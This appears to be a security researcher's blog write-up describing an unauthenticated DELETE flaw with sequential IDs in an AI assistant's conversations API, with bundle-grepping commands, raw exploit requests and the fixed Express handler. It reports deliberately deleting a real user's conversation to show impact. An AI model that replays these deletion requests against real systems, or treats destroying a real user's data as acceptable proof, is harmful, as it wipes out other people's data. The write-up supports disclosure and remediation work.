August 9, 2026
Unauthenticated Mass Data Deletion: When DELETE Has No Auth Check
Finding and proving a cross-user resource deletion vulnerability through JS bundle analysis and sequential ID enumeration
By Divakarvasani
4 min read
Some of the cleanest bugs come from the simplest oversights. This one required no payload crafting, no encoding tricks, no race conditions. Just a DELETE request with no session attached — and 204 No Content back from the server, confirming someone else's data was gone.
Starting Point: JS Bundle Analysis
The target was a SPA (Single Page Application) running an AI assistant feature on a subdomain. SPAs ship their entire routing and API logic in JavaScript bundles. If you read them, you have the full internal API map before sending a single authenticated request.
I pulled the main bundle and grepped for API call patterns:
curl -s "https://example.com/assets/index.js" -o bundle.js
grep -oE '`/api/[^`]{3,80}`' bundle.js | sort -ucurl -s "https://example.com/assets/index.js" -o bundle.js
grep -oE '`/api/[^`]{3,80}`' bundle.js | sort -uThree routes came back for the conversations feature:
/api/conversations
/api/conversations/${id}
/api/conversations/${id}/messages/api/conversations
/api/conversations/${id}
/api/conversations/${id}/messagesSimple structure. Let's check each one.
First Request: POST Creates a Conversation With No Authentication
I sent a POST to /api/conversations with no session cookie, no Authorization header, nothing:
POST /api/conversations HTTP/2
Host: example.com
Content-Type: application/json
{"title": "test"}POST /api/conversations HTTP/2
Host: example.com
Content-Type: application/json
{"title": "test"}Response — HTTP 201:
{
"id": 2372,
"title": "test",
"createdAt": "2026-08-08T12:07:40.202Z"
}{
"id": 2372,
"title": "test",
"createdAt": "2026-08-08T12:07:40.202Z"
}Two immediate observations:
One: No authentication was required. The server created a resource and returned it to an anonymous caller.
Two: The ID is 2372 — a sequential integer. This tells me 2,371 conversations existed before this request. IDs are guessable by simple enumeration.
I sent three more requests to confirm the sequence:
Request 1 → id: 2372
Request 2 → id: 2373
Request 3 → id: 2374
Request 4 → id: 2375Request 1 → id: 2372
Request 2 → id: 2373
Request 3 → id: 2374
Request 4 → id: 2375Sequential. Monotonically increasing. No randomness, no UUID, no HMAC. Every conversation in the system is reachable with a number from 1 to current_max.
Second Request: DELETE Works Cross-Session
I created conversation 2373 from one session. I then opened a completely separate session — different cookie jar, no shared state — and sent:
DELETE /api/conversations/2373 HTTP/2
Host: example.comDELETE /api/conversations/2373 HTTP/2
Host: example.comResponse — HTTP 204 (No Content).
No error. No 403. The server deleted conversation 2373 without checking whether the requesting session owned it.
I verified it was gone:
GET /api/conversations/2373 HTTP/2
Host: example.comGET /api/conversations/2373 HTTP/2
Host: example.comResponse — HTTP 404:
{"error": "Conversation not found"}{"error": "Conversation not found"}Permanently deleted. No recovery.
Proving Real User Data Impact
Creating conversations in our own test session and deleting them across sessions proves the logic flaw, but it doesn't demonstrate impact on real users. I needed to show that conversations belonging to users who had nothing to do with our test were equally vulnerable.
The approach: establish the current maximum ID by creating a fresh conversation, then target an ID significantly below it — one that would have been created during normal platform usage by real users.
Fresh conversation created → id: 2377
Target (real user): 2377 - 50 = 2327
DELETE /api/conversations/2327 HTTP/2
Host: example.comFresh conversation created → id: 2377
Target (real user): 2377 - 50 = 2327
DELETE /api/conversations/2327 HTTP/2
Host: example.comResponse — HTTP 204.
GET /api/conversations/2327 HTTP/2
Host: example.comGET /api/conversations/2327 HTTP/2
Host: example.comResponse — HTTP 404: {"error": "Conversation not found"}
Conversation 2327 — created by a real user during normal use, not part of our testing at all — was permanently deleted by an anonymous HTTP request. That is the impact proof. I stopped here. Three conversations deleted total: two of our own, one real user's. That's the minimum needed to demonstrate the capability.
Understanding the Scope
A few clarifications emerged from further testing:
Authenticated user conversations are session-scoped differently. When I tested whether DELETE could reach conversations created by authenticated (logged-in) users, the server returned 204 but the conversation persisted in the owner's list. The deletion only fully succeeded against anonymous (unauthenticated) conversations — those created without a logged-in session, like the ones our test created.
This narrows the direct data loss impact to anonymous session data. However, the vulnerability still means:
- Any attacker can enumerate and delete all anonymous-session AI conversations on the platform (2,377+ at time of testing)
- The sequential ID structure makes full enumeration trivial
- The missing auth check is a design flaw affecting the entire route handler
The unauthenticated creation also means the system accepts arbitrary resource creation from anyone, with no rate limiting or quota enforcement — a separate denial-of-service concern.
Why This Happens
The route handler for DELETE /api/conversations/:id had no authentication middleware attached to it. In Express-style frameworks, this looks like:
// What existed (no middleware):
router.delete('/conversations/:id', async (req, res) => {
await db.conversations.delete({ where: { id: req.params.id } });
res.status(204).send();
});
// What should exist:
router.delete('/conversations/:id', requireAuth, async (req, res) => {
const conv = await db.conversations.findById(req.params.id);
if (!conv || conv.ownerId !== req.session.userId) {
return res.status(403).json({ error: 'Forbidden' });
}
await conv.delete();
res.status(204).send();
});// What existed (no middleware):
router.delete('/conversations/:id', async (req, res) => {
await db.conversations.delete({ where: { id: req.params.id } });
res.status(204).send();
});
// What should exist:
router.delete('/conversations/:id', requireAuth, async (req, res) => {
const conv = await db.conversations.findById(req.params.id);
if (!conv || conv.ownerId !== req.session.userId) {
return res.status(403).json({ error: 'Forbidden' });
}
await conv.delete();
res.status(204).send();
});The fix requires two things — an authentication check (is there a valid session?) and an authorization check (does this session own this resource?). Having one without the other is insufficient.
The Sequential ID Problem
Even with the DELETE fixed, sequential integer IDs create a persistent enumeration problem. If an attacker can confirm resource existence through timing differences or error message variation, they can map the entire database.
The standard mitigation is UUIDs. Specifically UUIDv4 — cryptographically random, 122 bits of entropy, not guessable. A response containing id: "a8098c1a-f86e-11da-bd1a-00112444be1e" gives an attacker nothing. A response containing id: 2372 gives them a complete roadmap.
This isn't a substitute for proper authorization checks — it's defense in depth. Fix the auth first. Then fix the IDs.
What the JS Bundle Gave Us
This bug was found entirely through static analysis of the frontend JavaScript bundle before sending a single authenticated request. The bundle contained:
- The full list of API endpoints
- The HTTP methods used on each
- The ID format used in path parameters
- Enough context to identify which operations were likely to be missing auth
Frontend bundles are not a security boundary. Anything referenced in client-side code is a potential attack surface. If your API routes are in the bundle, assume they will be found. The only protection is correct server-side authorization on every route, every method, every time.
Methodology Notes
A few things made this finding clean and fast:
Read the bundle before touching the API. I had the full route map before sending a single request. This let me prioritize immediately — "conversations" with a DELETE method and sequential IDs is a high-value target.
Test all HTTP methods on every route. The GET endpoint on conversations was properly guarded. Only DELETE was missing the check. If I had only tested GET and POST, I would have missed it.
Establish cross-session impact before stopping. Creating and deleting your own resources proves a logic flaw. Deleting another session's resource proves exploitability. Proving impact on a resource you didn't create is what separates a confirmed vulnerability from a theoretical one.
Stop at proof. Three deletions: two owned, one not. That's the PoC. Nothing more needed.
Summary
Sequential integer IDs combined with a missing authentication check on a DELETE handler is a complete vulnerability. The JS bundle analysis made it trivial to find. One unauthenticated HTTP request made it trivial to prove. The fix is straightforward: add requireAuth middleware to the route, add an ownership check on the record, switch to UUIDs for future-proofing.
The most expensive bugs to fix are architectural. This one isn't. Two lines of middleware code close it entirely.